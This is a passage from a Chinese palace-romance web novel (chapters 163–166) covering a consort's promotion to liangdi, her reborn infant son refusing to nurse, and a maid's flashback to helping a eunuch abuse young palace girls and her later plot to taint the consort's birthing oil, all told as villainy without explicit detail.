旋即他的视线落到那封折子上。
沉默了片刻,道:“罢,一个侧妃位,便允了他吧,也难得跟他老子要东西。”
说着扬声叫全仕财。
全仕财进来得了吩咐,转身出去一趟,再回来时手里多了个紫檀笔墨匣。
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放到一旁案几上打开,取出里头的朱墨小砚,磨了墨,再取出御笔蘸墨。
最后呈递到皇帝跟前。
元隆帝直接在折子上批了个:准了。
裴皇后剥了颗蜜橘,掰开喂一瓣到他嘴边,笑着问:“您打算何时下旨呢?”
元隆帝吃了橘子。
“百日之后吧,等孩子稍微大些。”
裴皇后:“那便是三个多月,眼下正月十六,再过三个月便是临到五月。”
顿了顿,她道:“五月各地秀女进京,在京的勋贵世家该是也准备把家中适龄之女送进宫学规矩了。
小昭训入宫后是奴籍,虽说晋位之后已经消了,但终归为过婢,临选秀东宫封一个奴婢出身的侍妾为侧妃。”
“不妥。”
岂止是不妥。
简直就是在打所有待选秀女家族的脸,御史的**折子怕是能把东宫给淹了。
元隆帝皱紧眉。
他一门心思想着要等孩子大些才好。
“那就满月?”
“满月也要到三月中旬,届时各地秀女陆续启程来京了。”裴皇后道。
元隆帝发现自己被老六那小子摆了一道。
按理太子和亲王请封侧妃,都是要等孩子满百天甚至周岁才递折子的。
他倒好,孩子一生折子就来了。
时间还刚好这么凑巧。
偏要请封的侍妾生的还是东宫第一个子嗣。
不对。
应该说,他被儿子和孙子联手摆了一道!
还有他的先帝老子!
孙子好巧不巧地生在这时候,老子好巧不巧地在这时候给他托梦!
元隆帝吹胡子瞪眼睛。
裴皇后猜到了他在想什么,险些没笑出声。
“您也别恼。”
她又喂了一瓣蜜橘给皇帝,温声道。
“横竖迟早都是要封的,早几年执牧还小,没有多少人催他广置后院。
如今他便是再不想多往后院收人,也会有不少人想方设法地来游说劝谏。
两个侧妃位呢,还能叫他们全拿了去?”
真若如此,今后东宫后宅有没有太平日子不清楚,反正前朝是不会消停。
元隆帝恶狠狠地嚼着橘子。
嚼完,他扔了笔。
“洗三,洗三之后就下旨总行了吧?”
裴皇后忍笑握住丈夫的手。
“陛下英明。”
元隆帝哼了哼。
对全仕财道:“叫人请太子过来,就说朕准了他的请奏,让他自己来拿!”
两刻多钟后。
骆峋从坤和宫出来。
他今日穿了件玄青云锦团龙纹紫貂里大氅,身姿笔挺伟岸,步伐沉稳矫健,俊美的脸庞一如既往的冷肃。
却是走着走着。
微抿的唇角勾起一个不显的弧度。
第163章 骆墩墩拒奶!这辈子曜哥儿起什么名?
小皇孙拒奶了。
也不是完全哭闹着不吃,睡着的时候喂还是会吃的,吃得还挺香。
可也不知怎么。
一旦在醒着的时候喂,小皇孙就不吃了。
关键他也不哭闹。
就是奶娘刚把衣襟敞开,小皇孙就眼一闭嘴儿一抿,完了小脑袋一偏。
小脸上一副大义凛然的庄肃之态。
当然这只是奶娘们一时胡乱想的,一个刚出生不到一天的小娃儿脸上哪能看出这么正经老成的表情呢。
还啥都不懂呢。
可小皇孙拒奶这事儿却是不容忽视的,奶娘们果断把事报给了宋昭训。
槛儿自己试着喂了一下,发现也是如此。
小家伙被她抱到怀里的时候眼睛还目不转睛地盯着她,小嘴儿一张一合的,喉咙里发出很细小的咕噜哼唧声。
瞧着就像是在同她说什么似的。
槛儿瞧着心软成一团。
可惜她刚有解衣襟的动作,小奶娃就把眼睛和嘴巴闭上了,头偏到一侧。
任凭槛儿怎么哄,小家伙不哭也不闹,看模样那叫一个乖巧,可偏就是不吃奶。
槛儿凭着上辈子的经验也没能瞧出根源所在,便只能再叫人去请太医。
元隆帝那边有另外的院判待命,莫院判这几天就在东宫詹事府那边值守。
小福子去得快,回来得也快。
莫院判来了之后熟稔地对小皇孙一通检查,最后还是得出结论没问题。
到底刚出生,新生婴孩的性情、体质什么的都还尚不明确,都需得观察。
所以莫院判宽慰宋昭训放宽心,让奶娘、女医们仔细注意着些人便走了。
襁褓回了自己怀里,槛儿戳戳儿子的小胖脸。
“睡着的时候吃得可香,睡醒了就不吃了,难不成你才出生一天就有习惯啦?”
曜哥儿当然不想让娘担心。
娘生他疼成那样,他怎么忍心闹娘呢。
可他前世当了太久的魂魄了,跟了娘和父王几十年,曜哥儿真的有懂很多!
睡着的时候身体本能管控不住,可醒着的时候曜哥儿真做不到卖傻装憨啊。
那像什么话!
不过曜哥儿没打算一直这么下去,因为他知道宫里有专供给婴孩喂奶的哺瓶。
前世他在娘身边就见过弟弟妹妹的奶娘用哺瓶给他们喂过奶,虽然那时候弟弟妹妹没他现在这么小。
但哺瓶嘛,就是给婴孩用的呢。
曜哥儿心想自己身边这么多人,只要自己坚持醒着的时候不吃奶,总会有人能想起给他尝试用哺瓶喂奶。
实在不行。
不能让娘担心,也不能奶娘们无辜被罚。
那他就掌握着分寸先吃一两个月,等他能更大动作地活动,声音也更大了。
他就可以稍微表达一下自己的意思了,那时候娘和奶娘们肯定能懂他。
这么想着,曜哥儿就冲娘笑了。
笑得可欢。
“主子,小主子在笑!您看,冲您笑呢!”
跳珠端来补气血的茶,冷不丁看到小皇孙笑开,她跟看到什么稀奇似的。
“刚出生的孩子便能笑得这么好吗?姑姑你快来,小皇孙笑得也太好了!”
结果瑛姑姑没喊来,倒喊来了太子。
跳珠:“……”
“殿下!”看着绕过屏风过来的男人,槛儿笑着道,“您快来看,他在笑。”
骆峋没注意到儿子笑,倒是看她笑得像朵花。
“能笑了?”
他坐到榻前问。
周嬷嬷适时回道:
“刚出生的孩子能笑,不过多数是在梦里,是心气初通,胃气畅通的反应,小主子笑得这么好说明身子康健。”
骆峋便看着儿子暂时算不得好看的小脸,槛儿把襁褓往他面前递了递。
“殿下要抱抱吗?”
周嬷嬷和瑛姑姑她们吓一跳。
心说时下男人讲究抱孙不抱子,昭训主子居然敢让太子抱刚出生的小皇孙?!
看吧,太子皱眉了!
骆峋在想要怎么抱。
现在的儿子看在他眼里比一只小猫崽大不了多少,他长年习武粗手粗脚。
没等他想出个章程,襁褓里的小家伙便偏头朝他看来,鼻子里哼哼唧唧的。
“小墩墩也想爹爹抱呢对不对?”
槛儿知道太子不会反感抱儿子,顺手便把襁褓塞给他了,还不忘打趣道。
骆峋下意识小心接住,没忽略她对儿子的叫法,不甚明白道:“墩?”
曜哥儿呆滞脸。
这辈子自己要改名了吗?
骆墩墩?
槛儿笑着解释:“那不是没起名儿嘛,总不能一直他啊他的,逗起来多不方便,您觉得就叫这个乳名怎么样?”
骆峋觉得不怎么样,过于草率。
再者,“缘何起这个名?”
槛儿眨眼,看看孩子爹再看看孩子,“大概因为他胖?胖墩儿胖墩儿。”
孩子爹:“……”
孩子:“……”
跳珠:“主子,小主子没笑了。”
槛儿:“……”
槛儿笑出了声。
“说得像他能听懂似的,才多大点
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儿人呢,不过话又说回来,名字要怎么起呢?殿下打算起什么名儿呢?”
骆峋没想好。
其实在槛儿刚诊出喜脉的时候他便有考虑过孩子的名字,只没来得及细想,便从姜氏口中得知了骆曜一名。
本朝皇族按辈字取名,父皇那一辈男子名中皆带火,他们这一辈含山,皇孙一辈男子带日女子含玉。
如果没有听姜氏说那一番槛儿是重生之人的言论,事先不知道骆曜这个名字。
骆峋兴许会给儿子起曜字。
但眼下他知道,便不确定要不要用这个字。
若儿子并非骆曜。
槛儿岂不……
略微思索,骆峋拍板道:
“大名孤请陛下赐,乳名你想这么叫亦无不可,待陛下赐名后以名相称也好。”
呃。
槛儿顿了一下。
上辈子曜哥儿的名字是太子起的,她后来知道的,这辈子居然不是太子起了。
没想到连起名方式也和前世不同。
不过槛儿觉得没问题,“那就先叫墩墩,等陛下赐名后便以哥儿相称。”
说完便逗儿子:“墩墩,小墩墩?”
曜哥儿:“……”
名字这茬揭过了。
槛儿与太子说起儿子睡醒不吃奶的事。
她边说曜哥儿就边装出配合的样子,闭眼抿嘴偏头,一脸的正经严肃。
曜哥儿自己这么以为的。
在槛儿看来儿子脸没她巴掌大,眉眼都淡淡的,根本看不出什么表情。
只有一脸的稚气。
自然也就不会觉得儿子能听懂她的话,只当是小家伙困了凑成的巧合。
“您看您看,他不吃奶就是这个样子,不哭不闹的,也不知为什么不吃。”
太子都抱孩子了,再听昭训主子连这种吃奶的话题也要跟太子说,周嬷嬷她们居然真就莫名其妙给接受了!
骆峋生疏地抱着小襁褓。
淡淡看儿子两眼,随口道:“既身体无碍,可尝试其他方式哺,不是有哺瓶?
左右莫院判说先观察,那便尝试一下。”
话音刚落,就见儿子眼睛忽然睁得溜圆,
再一抬头。
当娘的美目也睁得溜圆。
槛儿一拍脑门儿。
“我只顾想他是不是哪儿不舒服,居然忘了这一茬,还是殿下考虑周到!”
骆峋:“关心则乱。”
槛儿附和地点点头。
扭头便把这事交代下去了,让奶娘们下回逢上小家伙拒奶就试试用哺瓶。
曜哥儿笑着吐出一个泡泡。
第164章 特晋太子良娣!“宋良娣,请接旨吧。”
槛儿上午刚生产完时一觉睡了几个时辰,期间没需要人近前伺候什么。
所以太子陪她躺一两个时辰没什么,晚上两人却是不能再同榻了,不方便周嬷嬷她们夜里在槛儿跟前照顾。
因此看过儿子,小家伙被奶娘抱走之后,骆峋和槛儿说了几句话便要回元淳宫。
不过今晚的太子似乎有点怪。
像是心情很不错。
具体表现为他临走前摸了摸槛儿的脸,什么也没说,却是一改惯有的肃然。
嘴角扬了扬,眼里也有笑。
当然平时太子偶尔也会笑。
只不过一般笑意很浅,往往转瞬即逝,不认真留意有时候根本发现不了。
今儿却是不同寻常。
槛儿问他笑什么。
他也不说。
撂下一句“安心歇息”便走了。
就说怪不怪吧。
.
霜云想要借对槛儿下手的方式来向太子妃报仇,这件事并没有被传开。
除了元淳宫前殿的宫人和典玺局的一部分人,东宫其他人都只知是太子妃身边的管事嬷嬷和陪嫁丫鬟背主。
才致使小皇孙险些被害。
顺国公府在后宫放人这件事,在元隆帝对其的处置圣旨下来之前也没有传开。
所以众人只知太子妃是因着没约束好娘家奴婢,才被陛下暂收了管家权。
而在顺国公老夫人来过一趟之后,整个嘉荣堂似是彻底沉寂了下来。
偶有从嘉荣堂大门经过的宫人,能嗅到从正房飘散出来的淡淡青香味。
似是太子妃在开始礼佛。
但到底涉及谋害皇嗣的罪名。
大伙儿便跟早先金承徽那次一样,不论明面还是私底下都对此事绝口不提。
所幸东宫有了第一个小主子这样的大喜事,宫人们都得了一笔可观的赏钱。
阖宫的喜悦倒是冲淡了这桩事带来的沉闷,大伙儿开始为给小主子洗三做准备。
洗三宴不大办,毕竟后面还有满月。
到了洗三这日。
元隆帝和裴皇后又给孙子赐了赏,后宫妃嫔不论位份高低也都送来了礼。
洗三宴设在元淳宫西侧的衍春堂,此处专用于东宫非嫡系子嗣举办各类宴席。
槛儿不便出席。
由瑛姑姑和银竹跳珠乘坐暖轿,护送裹得里三层外三层的小皇孙去衍春堂。
走完前面的仪式。
曜哥儿被抱到雕了蟠螭的银盆前,褪去身上大红的襁褓和夹袄、暖帽。
剩了一身银线绣五毒的软绫胎衣,好在殿内地龙烧得旺,倒是不觉得冷。
负责洗三的嬷嬷,其实也是女官。
女官拿云锦帕蘸了水按着额、手、脚、背胸的顺序给小皇孙小心擦拭。
最后便是剃胎头。
曜哥儿一头浓密的胎发被剃得头顶只剩了一块儿铜钱大小的地方有头发了。
但反正会长出来,曜哥儿根本不在意,全程睁着乌溜溜的眼睛安静地任由摆弄。
看得观礼的一众宗亲唏嘘不已,自是一番番好听话不要钱地往外冒。
等到下午。
有关太子长子沉静有仪、通解人意的传言便在宫里和各个宗亲府上传开了。
各亲王和公主府也相继收到了东宫报喜的帖子,众人自又是一番心思各异不提。
得知儿子洗三宴上全程没哭,槛儿也吃惊不小,抱着小家伙左看看右看看。
曜哥儿就等着娘夸夸呢。
哪知槛儿端详了儿子一阵后,忽然皱起眉一脸严肃地问瑛姑姑和周嬷嬷:
“说起来除了刚出生那会儿有哭,他这三天好像都没哭吧,不会有什么问题吧?要不要请太医来瞧瞧?”
曜哥儿:“……”
槛儿的担心也不是小题大做,毕竟时下的婴孩有不少娘胎里带疾的。
他们又不会说话,有的刚开始也检查不出什么,做大人的自是万分小心。
小皇孙不哭不闹的确乖,但经槛儿一说,周嬷嬷和瑛姑姑也不免担心了起来。
可就在她们打算叫人去请太医时,被她们担心的小皇孙“哇”一声就哭了。
嗓门儿之大,说是地动山摇也不为过。
差点没把房顶给掀了。
槛儿离得最近,一瞬间只感觉耳朵嗡嗡的。
再去看儿子。
好家伙。
多数刚出生的孩子是哭不出眼泪的,他倒好,嗓门大也就罢,居然还流起了泪!
活像是遭了什么**似的。
槛儿看得哭笑不得,忙又是逗又哄。
但曜哥儿差不
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多已经明白了,自己现在不能太过反常,省得让娘担心。
也不能让别人当成怪物。
于是任凭槛儿怎么哄,小家伙就是哭。
眼泪流干了就干嚎。
就在槛儿没辙,打算让奶娘们抱下去哄的时候曜哥儿适时地收了声。
奶娘及时拿出装了奶水的哺瓶过来。
自打前两天太子说可以尝试用哺瓶喂之后,小皇孙再拒奶时奶娘们便用了哺瓶。
这哺瓶是葫芦状的,左右有两个把手。
外层嵌玉鎏金雕了蟠螭纹,内层是银质的,之间有一个可以加热水的隔层。
把小皇孙的口粮装进去,再在隔层加入热水,就可以做到短时间保温。
瓶嘴儿则是用薄胎和田玉做的,中间穿了针眼大小的孔,里层嵌了银,口径大小刚好够小奶娃含进嘴里吮吸。
槛儿和奶娘们本是抱着试一试的心态,结果没想到小家伙用了哺瓶竟真没再拒奶。
也是不懂这么小点点儿的人脑袋里究竟在想什么,总归不拒奶便好。
这两天槛儿自己也就这么喂他了。
曜哥儿吃饱喝足挨着娘睡着了,槛儿看了他一会儿让奶娘抱去暖阁。
她这两天身子没那么虚弱了,就是小肚子才刚开始恢复,时不时便会疼。
所幸在可承受范围。
又躺了会儿,槛儿由寒酥跳珠搀扶着下了榻,慢悠悠地在屋子里转起了圈。
但刚走了几步。
就听小福子跟鬼撵似的朝耳房跑来:“主、主主子!来圣旨了!陛下有旨!”
来人是乾元殿的一个掌事太监,姓郝。
大抵是考虑到槛儿现今坐月子不宜见风,因而等槛儿麻利地收拾妥帖要往门口走时郝太监已经到了耳房外。
“宋昭训在屋中听旨即可。”
喜雨拿了软垫放在屋中间。
瑛姑姑扶着槛儿小心跪下,屋里屋外的人也都跟着跪下了,郝太监展开圣旨。
“奉天承运皇帝,诏曰:东宫侍妾宋氏,昔入侍数载秉性温良,敬事弗懈。
后承侍东宫淑慎勤勉,克娴内则,今诞育皇孙功于宗祧,特晋太子良娣。
望尔今后持盈戒谨,躬奉储闱,钦此——”
“宋良娣,请起身接旨吧。”
第165章 超甜保真!太子:就知道她不正经!
送走乾元殿的人,院子里的一众人齐齐向宋良娣贺喜,如此这般自是要赏的。
跳珠和喜雨出去打赏了一圈,大家伙儿一个个嘴角简直要咧到耳根子去了。
回来后瞅着放在托盘里被寒酥捧着的圣旨,跳珠搀着槛儿兴奋道:“良娣,主子您成良娣了!良娣主子!”
跳珠小福子他们在槛儿跟前伺候了这么久,主仆情分自是早就有了,但这并不妨碍他们也要为自己打算。
所以这会儿他们真心替槛儿高兴,也打心底里为自个儿感到庆幸。
良娣啊,太子侧妃。
日后若是小主子养住了,便是有了傍身之本。
有位份,又有孩子傍身。
如果主子一直得宠下去。
等将来太子登上那个位置,起码一个德贤淑良四妃其中一个是没跑了!
甚至贵妃也可能使得。
到时候他们不也就跟着水涨船高了!
槛儿知道跳珠他们在高兴什么,自是不会介意,再者说她这会儿也高兴!
原以为会暂先升到良媛,且再怎么样也要等到孩子满了百日才会升。
而良媛的位份不需要元隆帝的下旨,太子奏请皇后娘娘,娘娘下懿旨即可。
太子当初带她去给娘娘请安的时候,槛儿想到的也是他在为她晋位铺路。
结果没想到是良娣的位置,圣旨竟还来得这么快,洗三刚过便下了!
人都爱惊喜,槛儿也不例外。
上辈子她的良娣是一步步晋上去的,这辈子却是直接来了一记大跳跃。
莫非这就是太子许她的好事?
槛儿的嘴角不可抑制地上扬。
又克制地咳了咳,搞怪似的低声道:“是喜事,大喜事,不过咱们要稳重的……”
跳珠学她压声音:“稳重的。”
喜雨把嘴角往下拉。
“主子,您看奴婢够稳重不?”
瑛姑姑、寒酥和周嬷嬷被她们仨的样子逗得合不拢嘴,一屋子的欢快气氛。
太子前天开始重新当差了。
此外开玺的第一天朝会上元隆帝当着文武百官的面,宣布准他入内阁观政。
自然不会参政,也不能长时间待在内阁。
若不然易形成二君并立的混乱政局,也容易引起朝中众臣多方面的猜测和不安,可谓牵一发而动全身。
不过即便如此。
单是元隆帝准许太子出入内阁这一件事,就足以让朝野委实震荡一番了。
毕竟前几年元隆帝分明表现出了对东宫的疏离,若不然也不会有那桩赐婚,还让太子去年才入朝经手差事。
众人不禁猜测元隆帝此举为何。
可惜帝王心难估。
加之储君位稳本就是国本社稷稳固之兆,大伙儿自是说不出什么反对的话。
但太子能出入内阁就表示其会深入掌握朝局,对于内阁和朝中一些明目张胆的贪腐私营将会有一定的制衡。
汲汲钻营站队的也有了新的衡量,某些人私下的小动作肯定不会少。
这也就导致骆峋今日分明在放假替儿子办洗三,却还同詹事府议事议到了亥时。
但念及今日晋位的圣旨下来了,他便还是在洗漱之后来了永煦院一趟。
然后刚进屋,就被抱了个满怀。
“殿下!”
骆峋习惯性将扑进怀里的人搂住,下一刻打横抱起,不赞同地蹙了蹙眉。
“你稳重些。”
身子都没恢复,这么抱过来伤着了怎么办?
槛儿好心情地抱着他的脖子,亲昵地蹭了蹭道:“我以为您今晚不来了呢。”
骆峋将其放回暖榻上。
随口说了句:“有事耽搁。”
说完在榻前落座,淡声问:“等孤?”
槛儿重重点了一下头。
又拉住他的手在他手背上搔了两下,“那么大一个惊喜,我等着向您谢恩呢。”
看得出来她是真高兴。
眼里满是笑,亮得像似装满了星子。
气色也瞧着好了不少。
骆峋握着槛儿的手转身,和她一道靠在床头,“你应得的,不必谢。”
“那还是要谢的。”
槛儿偎着他,笑着说。
“殿下为我请封的不是吗?”
骆峋:“嗯。”
但也是她值得。
后半句他没说,不过槛儿却是清楚太子为她请封的根本原因,是她本身做得好。
是她一步步谨慎地靠近他,服侍他。
费尽心思地迎合他,平衡两人之间的关系,才有了他在潜移默化之下偏宠她。
先有她做得好,才有他认为她好。
槛儿也从不觉得自己做的这些事就是没出息没有抱负,亦或是自甘堕落。
就好比车夫赶车,马夫养马。
车与马是他们的活命路子。
于槛儿而言,太子便是她的活命路子,她尽心地当好这份差便是为了过得更好。
而太子为她请封良娣是给她的惊喜嘉奖,也是她努力之后的意外收获。
不过,该拍的马屁还是要拍的,再者对这个意外收获槛儿也确实该谢太子。
所以槛儿由衷道:“那不就是啦?我成日里在东宫,要没有您为我请封,娘娘和陛下哪知道我这号人物呢。
陛下晋我为良娣那也是看在您的面子上,我感恩陛下,也要谢谢您才对。
这么大的惊喜,我这会儿都晕乎着呢,高兴得根本睡不着,就想等您。”
这小嘴儿叭叭叭的。
骆峋抬起她的下巴,亲了下去。
顾及到槛儿现在身子不爽利,为了不招她,他没敢亲太久也没有过于深入。
浅尝辄止。
等亲完了,两人的唇瓣都粉粉润润的。
槛儿端详着太子的俊脸。
旋即照着他的薄唇重重印了一下。
用颇有些古灵精怪的口吻道:“早先我就常听人说太子殿下是一等一的俊,俊得堪比天上的男菩萨。
可惜我没见过男菩萨长什么样,想象不出来,现在我倒觉得他们说得不对。”
“嗯?”
骆峋示意她继续。
槛儿便道:“菩萨是世人想象出来的,每个人心中的菩萨模样都不一样,大家以为的俊当然也不尽相同。
可现在殿下就在我面前,比我曾经以为的男菩萨俊多了,声音好听,味道好闻,最重要的是殿下给我亲。”
“菩萨只可拜,我却能抱、能亲殿……”最后一点尾音被太子爷捂回去了。
骆峋早知她看似胆小,实则逢上两人单独相处,她的一些言行可谓大胆至极。
偏她极知分寸,总不至于惹恼他。
只从前她好歹算收敛,寥寥几字便作罢,这会儿却是近乎长篇大论。
“不知羞。”
骆峋绷着脸假模假样地低斥道。
“油嘴滑舌,成何体统?”
槛儿脸红红的。
也不知想到了什么,她在他掌心下瓮声瓮气地咕哝了一句,骆峋没听太清。
于是松了手示意她说。
槛儿摇头,避开他的目光。
“没,没什么。”
骆峋下意识觉得她刚刚
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说的定不是好话,但应该也不会是说他不好的话。
毕竟她向来待他恭谨。
这么一想,他更想知道她方才说了什么。
“说。”
槛儿欲言又止,止言又欲。
最后含羞带怯道:“妾身是不是油嘴滑舌,您不是最清楚吗?刚刚……”
他就知道她不正经!
骆峋先是怔了怔,随即听出了话外音。
一张俊脸顿时绷得更厉害。
作势起身就要走!
槛儿又臊又好笑地及时把人拉回来,好一通小意儿地认错,又哄了一会儿。
哄完不经意发现:“殿下,您的耳朵怎生这么红?莫不是地龙烧太旺了?”
骆峋脸更冷。
槛儿当他还恼呢,赶忙不问了。
骆峋扯她的嘴角。
“再胡言乱语,看孤不罚你。”
槛儿心想这算什么胡言乱语,明明就是实话实说,还是他非让她说的呢。
不过太子向来正经端肃,听不过这样的话也正常,槛儿便不再继续了。
也没问他打算怎么罚她。
“好,妾身记住了。”
不正经的话聊罢,太子爷说起正经话。
“你的冠服已交给礼部筹备,你在月子期间仪式不便举行,是时冠服做好,会有人将其与金册一并给你送来。”
太子侧妃有金册无宝印。
槛儿这回生得还算顺,没受伤什么的,但莫院判还是建议她坐满两个月。
为身子好的事,槛儿没有理由不应。
“好,有劳殿下费心。”
骆峋拍拍她的肩。
起身去暖阁看了儿子,便回元淳宫了。
.
大抵是宋昭训得宠有目共睹。
又生了太子长子。
以至于槛儿晋封良娣的消息在后院传开之后,大伙儿唏嘘归唏嘘。
却不见得多惊讶。
倒是有种“果然如此”的明悟。
消息传到嘉荣堂,郑明芷眼皮子都没撩一下,随手将她刚抄的佛经和一个银鎏金的压裙禁步扔给了霜月。
霜月叫守在院门口的典玺局的宫人,将这两样东西当作赏送去了永煦院。
槛儿收了,也郑重谢了恩。
沁芳居听到了风声,曹良媛也意思意思送了两方帕子和一本手抄心经作礼,秦昭训的则是一幅莲花童子画。
槛儿皆按规矩回了礼。
第二天。
元隆帝在早朝上把顺国公府家奴谋害皇孙的事拿出来议了,自是满堂哗然。
哗然的不是谋害太子子嗣这件事。
是做出此事的为太子岳家,且害的是太子第一个子嗣,关键事情竟被公开了?
等之后元隆帝按太子的意思,下旨处置了顺国公及顺国公府,众人面上赞太子为保宗庙社稷稳固大义灭亲。
实则却从中看到了元隆帝对东宫明显的态度改变,暗想太子真是复宠了啊。
元隆帝下旨在前朝后宫清人,一部分人在心底把顺国公府骂了个狗血淋头。
可惜都知道元隆帝在借题发挥,他们不能对顺国公府做什么来自曝其短。
也反驳不了。
于是,这一场君臣的博弈最终以元隆帝和太子为胜,将来如何暂不得而知。
在产房待了七天,槛儿搬到了挨着卧房的暖阁,曜哥儿则跟奶娘移到了东厢。
槛儿要养身子,夜里不便与孩子住一起。
又过了十天。
槛儿终于睡够了,身子也爽利了。
于是她将银竹叫到跟前。
“带望晴过来吧。”
第166章 惊现腌臜旧事!“宋槛儿早脏了!”
没人知道望晴这段日子经历了怎样的心路历程,甚至她自己都浑浑噩噩的。
正月十二那天。
因着银竹和喜雨的晋升,她心里憋得慌,便跟雁荷去了他们花房同雁荷倾诉。
雁荷是个很好的倾诉对象。
会和她同仇敌忾,会安慰她,还夸了她很多。
当然,望晴没有跟雁荷说她以前就认识宋昭训,也没说心里的某些隐秘念头。
她只抱怨了晋升的事,顺便自嘲了一番。
不得不说有些事确实不适合憋在心里,望晴倾诉之后就觉得舒坦多了。
眼见说得差不多了,当时她便打算走。
只不过没来得及提,雁荷想起漏了差事没做,便去端了一筛子干花过来做活儿。
让她也帮帮忙。
望晴寻思着还有时间,加上确实是她耽搁了对方当差的时间,便同意了。
她们边干活儿边聊,期间雁荷顺口提了一嘴她们正在整理的花的效用。
起初望晴本来没当回事。
就当闲话听了。
可当她听到那花的香味与桂花相似,具有活血调经之效,孕期妇人严禁接触时。
望晴的心陡然突突了两下。
又听说可以用此花来调配助产油使用,但需要太医从旁指导,若不然可能造成大出血,严重者一尸两命。
那一刻,望晴的心跳得前所未有的快。
为什么会有这种反应?
望晴当时脑子太乱了,说不准,只鬼使神差想起了四年前的一桩旧事。
彼时她被调到首饰库有一年了,因着性子稳重办差妥帖,管事姑姑提拔她做了一批低阶小宫女的领头。
监督她们做一些初级的首饰养护,给她们分派差事分发月例什么的。
月例不单单指每月的银钱,还有米面、副食、调味品以及四季的衣物之类。
这些东西由首饰库专管他们宫人衣食住行的内库管着,每月月初她会带着人去那边统一领大家的月例。
之后再一一分发下去。
而当时每次给她取东西的是个姓孔的太监,此人五十出头,相貌平平。
肥头大耳朵的,张嘴一口大黄牙,一开口能把人的隔夜饭给熏出来。
也是这人不在主子跟前侍候才如此邋遢,若不然早不知死多少次了。
这也就罢。
关键此人惯是个会装的。
表面是个老好人,从不克扣宫人的份例,虽邋遢却是对谁都一副笑模样。
在宫人间的风评极好。
望晴去领了几次东西也觉得孔太监人好,不禁对自己曾以貌取人感到愧疚。
于是,为了感谢对方平日里对自己的照顾,也为了暗暗表示对他的愧疚。
望晴将其视为爷爷辈,在临近年关时做了双鞋,寻了个私下里的时间给他。
哪曾想就在这时。
望晴发现这人就是个彻头彻尾的畜牲!
他强迫她做他的对食。
要对她行不轨之事!
还说她不是第一个。
说他就喜欢她们这些鲜嫩的小姑娘。
直到这时望晴才知这人平时的老好人是装出来的,他便是用这样的手段欺辱了好几个不知事的小宫女!
而孔太监的真面目一直没被揭穿,便是因为他手里握着她们的把柄!
她们年纪小经不住事,根本不是这老畜牲的对手,到最后要么躲要么忍。
望晴当时怕**,也恶心**。
情急之下为了自保,她和孔太监做了交易。
她替孔太监寻别的小宫女。
孔太监不动她。
那畜牲自是老奸巨猾。
扣了屎盆子到她头上,扬言她若敢耍他,他就让人知道她拿东西贿赂她。
让人知道她手脚不干净,偷贵人主子们的首饰,甚至妄图勾引他做对食。
他风评好,说什么都会有人信的。
而她不过是个小宫女。
望晴真的怕,也想不到解决之法。
所以她答应了,答应替孔太监物色人选,也答应将他看中人带到他面前。
而这其中的第一个人选。
便是衣作坊的小绣娘,宋槛儿。
衣作坊和首饰库挨着,宫人们平时在一个伙房用饭,共用一个恭房小院。
彼时望晴也听说过宋槛儿这号人物。
不为别的,只因此女不过豆蔻之龄却是样貌出众,是衣作坊有名的小美人。
两边的宫人多,早先望晴没碰上过宋槛儿,但既知晓这号人物便不难认识。
望晴自认与宋槛儿无冤无仇,可她真的怕被孔太监欺辱,更怕死。
人肯定要为自己着想,不是吗?
她只是想活命。
她没有错。
望晴就这么说服了自己。
她向人打听之后,远远认识了宋槛儿。
望晴费了好一番功夫。
终于寻到机会在宋槛儿去恭房的当头,瞅准时机从其身后给了对方一闷棍。
她下手很重。
宋槛儿当场就晕了,吭都没吭一声。
更不知是谁打了她。
孔太监的人在外接应,望晴没费力气便将这个比她小的姑娘交给了他们。
然后看着她被送进孔太监的屋,再看着孔太监脱她的外衫,解她的中衣。
孔太监摸了宋槛儿的脸。
摸了她的颈子。
畜牲那张猥琐下流的老脸兴奋得近乎扭曲,有口水滴到宋槛儿的身上。
望晴站着门外,透过门缝看得清清楚楚。
眼泪打湿了她的脸,她在心里一遍遍说对不起,对不起,她不是故意的……
望晴没敢再看下去。
浑浑噩噩地回了住处,也不知是惊吓过度还是别的,她发了两天高热。
随后让望晴没想到的是,等她退了热,意识终于清醒时她听到了一个消息。
——孔太监**。
据说是他前天晚上在屋里翻箱倒柜找东西,摔了一跤绊倒了置物架。
架上的一件礼器掉了,孔太监倒地时太阳穴刚好撞到礼器上尖锐的地方。
人便这么死的。
首饰库的大伙儿都这么说,似乎也没人对孔太监的死法产生任何怀疑。
然而望晴却是知道孔太监绝不是这么死的,因为前
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天晚上正是孔太监意图对宋槛儿行不轨之事的时候!
可也不知怎么回事,那天帮着孔太监把宋槛儿送进他屋里的两个人,居然也没有站出来质疑他们干爹的死。
望晴想不通其中关节。
更不知宋槛儿当时对孔太监做了什么。
但望晴知道她解脱了。
她不用再受孔太监的胁迫和欺辱了,她把这件事当做耻辱深深埋藏在心底。
可就是这么一件被她自认已经忘得一干二净的旧事,竟在听到雁荷聊起干花的效用时被望晴想起来了。
尤其是宋槛儿被孔太监边脱衣裳边摸的那一幕幕,便犹如皮影戏一般。
一遍遍地。
慢动作地在望晴脑海里重复。
为什么?
短短几句话的功夫。
望晴当时看着雁荷一张一合的嘴,心底的念头仿佛惊涛骇浪般疯狂翻涌。
她想,是啊。
宋槛儿的身子被一个老太监玷污过,她身上甚至还有那老太监的口水。
宋槛儿早不干净了。
早脏了。
既如此,她凭什么能做主子?
又凭什么能得太子的青睐飞上枝头变凤凰?哪来的资格摆主子的谱呢?
那么脏的人。
以前不去想这件事的时候没觉得,一旦想起,再回忆之前伺候宋槛儿的情形望晴只觉喉间一阵呕意。
所以她偷了雁荷的干花。
望晴不想太子清誉受损。
太子若知道了这件事肯定也会觉得耻辱,会杀了宋槛儿和她肚里的种。
望晴就想她如果先替太子办成了这件事,太子会不会对她另眼相看?
望晴不确定,但她决定试试,试着把那花碾碎了打算搀进助产油里去。
那花的味道和助产油里的桂花香相似,且和**这类毒不同,银针验不出来。
望晴有把握做得天衣无缝,毕竟当初那件事宋槛儿就至今不知道是她做的。
因此望晴早早寻机把花撕碎了藏至随身香囊,只等找机会放进助产油里。
宋槛儿早产,望晴始料未及。
但她还是找到了合适的时候把助产油拿到了,油罐盖子她都打开了。
“望晴,主子找你。”
望晴站在正房门前,银竹的声音蓦地拉回了她的思绪,她无意识怔了怔。
“主子找我作甚?”
银竹:“去了你就知道了。”
银竹的神色与寻常无异,可望晴的心没来由一跳,隐隐有种不好的预感。
等进了暖阁。
看到那张恢复了几分气血的明艳脸庞时,这股不好的预感变得愈发强烈。
“不知主子有何吩咐。”
望晴定定神,毕恭毕敬道。
